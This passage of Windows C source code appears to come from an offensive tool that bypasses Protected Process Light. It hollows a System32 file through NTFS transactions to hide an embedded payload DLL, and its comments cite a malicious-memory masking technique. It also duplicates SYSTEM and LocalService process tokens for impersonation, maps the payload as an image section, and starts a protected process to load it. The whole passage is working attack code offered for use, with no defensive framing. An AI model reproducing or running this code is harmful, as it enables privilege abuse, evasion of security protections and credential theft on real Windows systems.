if (GetSecurityInfo(hFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, &pSidOwner, NULL, NULL, NULL, &pSD) == ERROR_SUCCESS)
|
|
{
|
|
if (TokenCompareSids(pSidOwner, pSidTarget))
|
|
{
|
|
*ppwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
|
|
if (*ppwszFilePath)
|
|
{
|
|
StringCchPrintf(*ppwszFilePath, MAX_PATH, L"%ws", wszFilePath);
|
|
bReturnValue = TRUE;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
CloseHandle(hFile);
|
|
}
|
|
|
|
} while (FindNextFileW(hFind, &wfd) && !bReturnValue);
|
|
|
|
FindClose(hFind);
|
|
}
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile)
|
|
{
|
|
//
|
|
// This implementation was inspired by the DLL Hollowing technique, discussed by @_ForrestOrr
|
|
// in this blog post: Masking Malicious Memory Artifacts � Part I: Phantom DLL Hollowing
|
|
// https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing
|
|
// This trick is awesome! :)
|
|
//
|
|
// Here is the idea. Rather than writing our embedded DLL to disk, we open an existing DLL file
|
|
// as a transaction operation. Then, we replace the content of the DLL with our own. To so, we
|
|
// search for an existing DLL file in C:\Windows\System32. We assume we are executing this code
|
|
// as SYSTEM but still, this is not sufficient as we need to open the target file with write
|
|
// access even though the file will not be modified. As most of the files are owned by Trusted-
|
|
// Installer, we need to find one which is owned by SYSTEM and also make sure that it is big
|
|
// enough so that we can copy our own DLL.
|
|
//
|
|
// Note: actually, in our case, it doesn't matter whether the target file is a DLL or a regular
|
|
// file. But hey, this works just fine. ;)
|
|
//
|
|
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
HRSRC hResource = NULL;
|
|
HGLOBAL hResourceData = NULL;
|
|
DWORD dwResourceSize = 0;
|
|
LPVOID lpData = NULL;
|
|
|
|
LPWSTR pwszTargetFile = NULL;
|
|
|
|
NTSTATUS status = 0;
|
|
OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
|
|
HANDLE hTransaction = NULL;
|
|
HANDLE hTransactedFile = NULL;
|
|
|
|
DWORD dwBytesWritten = 0;
|
|
|
|
if (hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA))
|
|
{
|
|
dwResourceSize = SizeofResource(NULL, hResource);
|
|
|
|
if (hResourceData = LoadResource(NULL, hResource))
|
|
{
|
|
lpData = LockResource(hResourceData);
|
|
}
|
|
}
|
|
|
|
if (!lpData || !dwResourceSize)
|
|
return FALSE;
|
|
|
|
PrintDebug(L"Loaded payload DLL, image size: %d bytes\n", dwResourceSize);
|
|
|
|
//
|
|
// Find a legtimate DLL file to "hollow". It must not be owned by TrustedInstaller and it must
|
|
// be big enough so that we can copy our payload into the transacted file.
|
|
//
|
|
if (!FindFileForTransaction(dwResourceSize, &pwszTargetFile))
|
|
return FALSE;
|
|
|
|
PrintDebug(L"Found file for transaction: %ws\n", pwszTargetFile);
|
|
|
|
status = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL);
|
|
if (status != 0)
|
|
{
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
PrintLastError(L"NtCreateTransaction");
|
|
goto end;
|
|
}
|
|
|
|
//
|
|
// Open a legitimate DLL file as a transaction operation.
|
|
//
|
|
hTransactedFile = CreateFileTransacted(pwszTargetFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
|
|
if (hTransactedFile == INVALID_HANDLE_VALUE)
|
|
{
|
|
PrintLastError(L"CreateFileTransacted");
|
|
goto end;
|
|
}
|
|
|
|
PrintDebug(L"Opened file '%ws' for transaction.\n", pwszTargetFile);
|
|
|
|
//
|
|
// Replace the content of the legitimate file with our own DLL payload. It's important to note
|
|
// that the file on disk is not altered.
|
|
//
|
|
if (!WriteFile(hTransactedFile, lpData, dwResourceSize, &dwBytesWritten, NULL))
|
|
{
|
|
PrintLastError(L"WriteFile");
|
|
goto end;
|
|
}
|
|
|
|
PrintDebug(L"Wrote %d bytes of embedded payload DLL to transacted file.\n", dwBytesWritten, pwszTargetFile);
|
|
|
|
*pdhFile = hTransactedFile;
|
|
bReturnValue = TRUE;
|
|
|
|
end:
|
|
if (pwszTargetFile)
|
|
LocalFree(pwszTargetFile);
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
PSID pTargetSid = NULL;
|
|
PVOID pBuffer = NULL;
|
|
PSYSTEM_PROCESS_INFORMATION pProcInfo = NULL;
|
|
HANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL;
|
|
DWORD dwReturnedLen = 0, dwBufSize = 0x1000, dwSessionId = 0;
|
|
PSID pSidTmp = NULL;
|
|
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
|
|
|
|
LPWSTR pwszUsername = NULL;
|
|
|
|
if (!ConvertStringSidToSid(pwszTargetSid, &pTargetSid))
|
|
goto end;
|
|
|
|
while (TRUE)
|
|
{
|
|
pBuffer = LocalAlloc(LPTR, dwBufSize);
|
|
if (!pBuffer || status != STATUS_INFO_LENGTH_MISMATCH)
|
|
break;
|
|
|
|
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, pBuffer, dwBufSize, &dwReturnedLen);
|
|
if (NT_SUCCESS(status))
|
|
{
|
|
pProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
|
|
while (TRUE) {
|
|
if (hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PtrToUlong(pProcInfo->UniqueProcessId)))
|
|
{
|
|
if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
|
|
{
|
|
if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hTokenDup))
|
|
{
|
|
if (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername))
|
|
{
|
|
if (TokenCompareSids(pSidTmp, pTargetSid))
|
|
{
|
|
PrintDebug(L"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\n", PtrToUlong(pProcInfo->UniqueProcessId), pProcInfo->ImageName.Buffer, pwszUsername);
|
|
|
|
BOOL bTokenIsNotRestricted = FALSE;
|
|
TokenIsNotRestricted(hTokenDup, &bTokenIsNotRestricted);
|
|
|
|
if (bTokenIsNotRestricted)
|
|
PrintDebug(L"This token is not restricted.\n");
|
|
else
|
|
PrintDebug(L"This token is restricted.\n");
|
|
|
|
if (bTokenIsNotRestricted)
|
|
{
|
|
if (pwszPrivileges && dwPrivilegeCount != 0)
|
|
{
|
|
DWORD dwPrivilegeFound = 0;
|
|
for (DWORD i = 0; i < dwPrivilegeCount; i++)
|
|
{
|
|
if (TokenCheckPrivilege(hTokenDup, pwszPrivileges[i], FALSE))
|
|
dwPrivilegeFound++;
|
|
}
|
|
|
|
PrintDebug(L"Found %d/%d required privileges in token.\n", dwPrivilegeFound, dwPrivilegeCount);
|
|
|
|
if (dwPrivilegeFound == dwPrivilegeCount)
|
|
{
|
|
PrintDebug(L"Found a valid Token candidate.\n");
|
|
|
|
*phToken = hTokenDup;
|
|
bReturnValue = TRUE;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
PrintDebug(L"Found a valid Token.\n");
|
|
|
|
*phToken = hTokenDup;
|
|
bReturnValue = TRUE;
|
|
}
|
|
}
|
|
}
|
|
LocalFree(pSidTmp);
|
|
LocalFree(pwszUsername);
|
|
}
|
|
if (!bReturnValue)
|
|
CloseHandle(hTokenDup);
|
|
}
|
|
CloseHandle(hToken);
|
|
}
|
|
CloseHandle(hProcess);
|
|
}
|
|
|
|
// If we found a valid token, stop
|
|
if (bReturnValue)
|
|
break;
|
|
|
|
// If next entry is null, stop
|
|
if (!pProcInfo->NextEntryOffset)
|
|
break;
|
|
|
|
// Increment SYSTEM_PROCESS_INFORMATION pointer
|
|
pProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset);
|
|
}
|
|
}
|
|
|
|
LocalFree(pBuffer);
|
|
dwBufSize <<= 1;
|
|
}
|
|
|
|
end:
|
|
if (pTargetSid)
|
|
LocalFree(pTargetSid);
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL Impersonate(_In_ HANDLE hToken)
|
|
{
|
|
HANDLE hThread = GetCurrentThread(); // Pseudo handle, does not need to be closed
|
|
|
|
if (!SetThreadToken(&hThread, hToken))
|
|
{
|
|
PrintLastError(L"SetThreadToken");
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
HANDLE hCurrentProcessToken = NULL;
|
|
HANDLE hToken = NULL;
|
|
HANDLE hCurrentThread = NULL;
|
|
|
|
if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hCurrentProcessToken))
|
|
{
|
|
PrintLastError(L"OpenProcessToken");
|
|
goto end;
|
|
}
|
|
|
|
if (!TokenCheckPrivilege(hCurrentProcessToken, SE_DEBUG_NAME, TRUE))
|
|
goto end;
|
|
|
|
if (!TokenCheckPrivilege(hCurrentProcessToken, SE_IMPERSONATE_NAME, TRUE))
|
|
goto end;
|
|
|
|
if (!FindProcessTokenAndDuplicate(pwszSid, &hToken, pwszPrivileges, dwPrivilegeCount))
|
|
goto end;
|
|
|
|
if (!Impersonate(hToken))
|
|
goto end;
|
|
|
|
*phToken = hToken;
|
|
bReturnValue = TRUE;
|
|
|
|
end:
|
|
if (hCurrentProcessToken)
|
|
CloseHandle(hCurrentProcessToken);
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken)
|
|
{
|
|
LPCWSTR pwszPrivileges[2] = { SE_DEBUG_NAME, SE_ASSIGNPRIMARYTOKEN_NAME };
|
|
|
|
return ImpersonateUser(L"S-1-5-18", phSystemToken, pwszPrivileges, sizeof(pwszPrivileges) / sizeof(*pwszPrivileges));
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken)
|
|
{
|
|
return ImpersonateUser(L"S-1-5-19", phLocalServiceToken, NULL, 0);
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
NTSTATUS status = 0;
|
|
LPWSTR pwszLinkName = NULL;
|
|
OBJECT_ATTRIBUTES oa = { 0 };
|
|
UNICODE_STRING name = { 0 };
|
|
UNICODE_STRING target = { 0 };
|
|
LPWSTR pwszTargetLocal = NULL;
|
|
HANDLE hLink = NULL;
|
|
ULONG length = 0;
|
|
|
|
pwszLinkName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
|
|
if (!pwszLinkName)
|
|
goto end;
|
|
|
|
pwszTargetLocal = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
|
|
if (!pwszTargetLocal)
|
|
goto end;
|
|
|
|
StringCchPrintf(pwszLinkName, MAX_PATH, L"\\KnownDlls\\%ws", pwszDllName);
|
|
|
|
RtlInitUnicodeString(&name, pwszLinkName);
|
|
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
status = NtOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_QUERY, &oa);
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
if (status != 0)
|
|
{
|
|
PrintLastError(L"NtOpenSymbolicLinkObject");
|
|
goto end;
|
|
}
|
|
|
|
target.Buffer = pwszTargetLocal;
|
|
target.Length = 0;
|
|
target.MaximumLength = MAX_PATH * sizeof(WCHAR);
|
|
|
|
status = NtQuerySymbolicLinkObject(hLink, &target, &length);
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
if (status != 0)
|
|
{
|
|
PrintLastError(L"NtQuerySymbolicLinkObject");
|
|
goto end;
|
|
}
|
|
|
|
bReturnValue = _wcsicmp(target.Buffer, pwszTarget) == 0;
|
|
|
|
end:
|
|
if (pwszLinkName)
|
|
LocalFree(pwszLinkName);
|
|
if (pwszTargetLocal)
|
|
LocalFree(pwszTargetLocal);
|
|
if (hLink)
|
|
CloseHandle(hLink);
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL MapDll(_In_ LPWSTR pwszSectionName, _Out_ PHANDLE phSection)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
OBJECT_ATTRIBUTES oa = { 0 };
|
|
UNICODE_STRING sectionName = { 0 };
|
|
NTSTATUS status = 0;
|
|
HANDLE hSection = NULL;
|
|
|
|
HANDLE hDllTransacted = NULL;
|
|
|
|
if (!WritePayloadDllTransacted(&hDllTransacted))
|
|
goto end;
|
|
|
|
RtlInitUnicodeString(§ionName, pwszSectionName);
|
|
InitializeObjectAttributes(&oa, §ionName, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
//
|
|
// According to the documentation, the SEC_IMAGE attribute must be combined with the page
|
|
// protection value PAGE_READONLY. But the page protection has actually no effect because the
|
|
// page protection is determined by the executable file itself.
|
|
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga
|
|
//
|
|
status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, NULL, PAGE_READONLY, SEC_IMAGE, hDllTransacted);
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
PrintLastError(L"NtCreateSection");
|
|
goto end;
|
|
}
|
|
|
|
*phSection = hSection;
|
|
bReturnValue = TRUE;
|
|
|
|
end:
|
|
if (hDllTransacted)
|
|
CloseHandle(hDllTransacted);
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL UnmapDll(_In_ HANDLE hSection)
|
|
{
|
|
NTSTATUS status = 0;
|
|
|
|
status = NtClose(hSection);
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
SetLastError(RtlNtStatusToDosError(status));
|
|
PrintLastError(L"NtClose");
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL PrepareCommandLine(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath, _In_ LPWSTR pwszRandomGuid, _Out_ LPWSTR* ppwszCommandLine)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
const size_t size = 32767;
|
|
LPWSTR pwszSystemDirectory = NULL;
|
|
|
|
*ppwszCommandLine = (LPWSTR)LocalAlloc(LPTR, size * sizeof(WCHAR));
|
|
if (!*ppwszCommandLine)
|
|
goto end;
|
|
|
|
pwszSystemDirectory = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
|
|
if (!pwszSystemDirectory)
|
|
goto end;
|
|
|
|
GetSystemDirectory(pwszSystemDirectory, MAX_PATH);
|
|
|
|
StringCchPrintf(*ppwszCommandLine, size, L"%ws\\%ws %d \"%ws\" %ws", pwszSystemDirectory, PPL_BINARY, dwProcessId, pwszFilePath, pwszRandomGuid);
|
|
|
|
if (g_bDebug)
|
|
StringCchCat(*ppwszCommandLine, size, L" -d");
|
|
else
|
|
{
|
|
if (g_bVerbose)
|
|
StringCchCat(*ppwszCommandLine, size, L" -v");
|
|
}
|
|
|
|
bReturnValue = TRUE;
|
|
|
|
end:
|
|
if (pwszSystemDirectory)
|
|
LocalFree(pwszSystemDirectory);
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL CreateProtectedProcessAsUser(_In_ HANDLE hToken, _In_ LPWSTR pwszCommandLine, _Out_ PHANDLE phProcess)
|
|
{
|
|
STARTUPINFO si = { 0 };
|
|
PROCESS_INFORMATION pi = { 0 };
|
|
HANDLE hProcess = NULL;
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
|
|
if (!CreateProcessAsUser(hToken, NULL, pwszCommandLine, NULL, NULL, TRUE, CREATE_PROTECTED_PROCESS, NULL, NULL, &si, &pi))
|
|
{
|
|
PrintLastError(L"CreateProcessAsUser");
|
|
return FALSE;
|
|
}
|
|
|
|
*phProcess = pi.hProcess;
|
|
CloseHandle(pi.hThread);
|
|
|
|
return TRUE;
|
|
}
|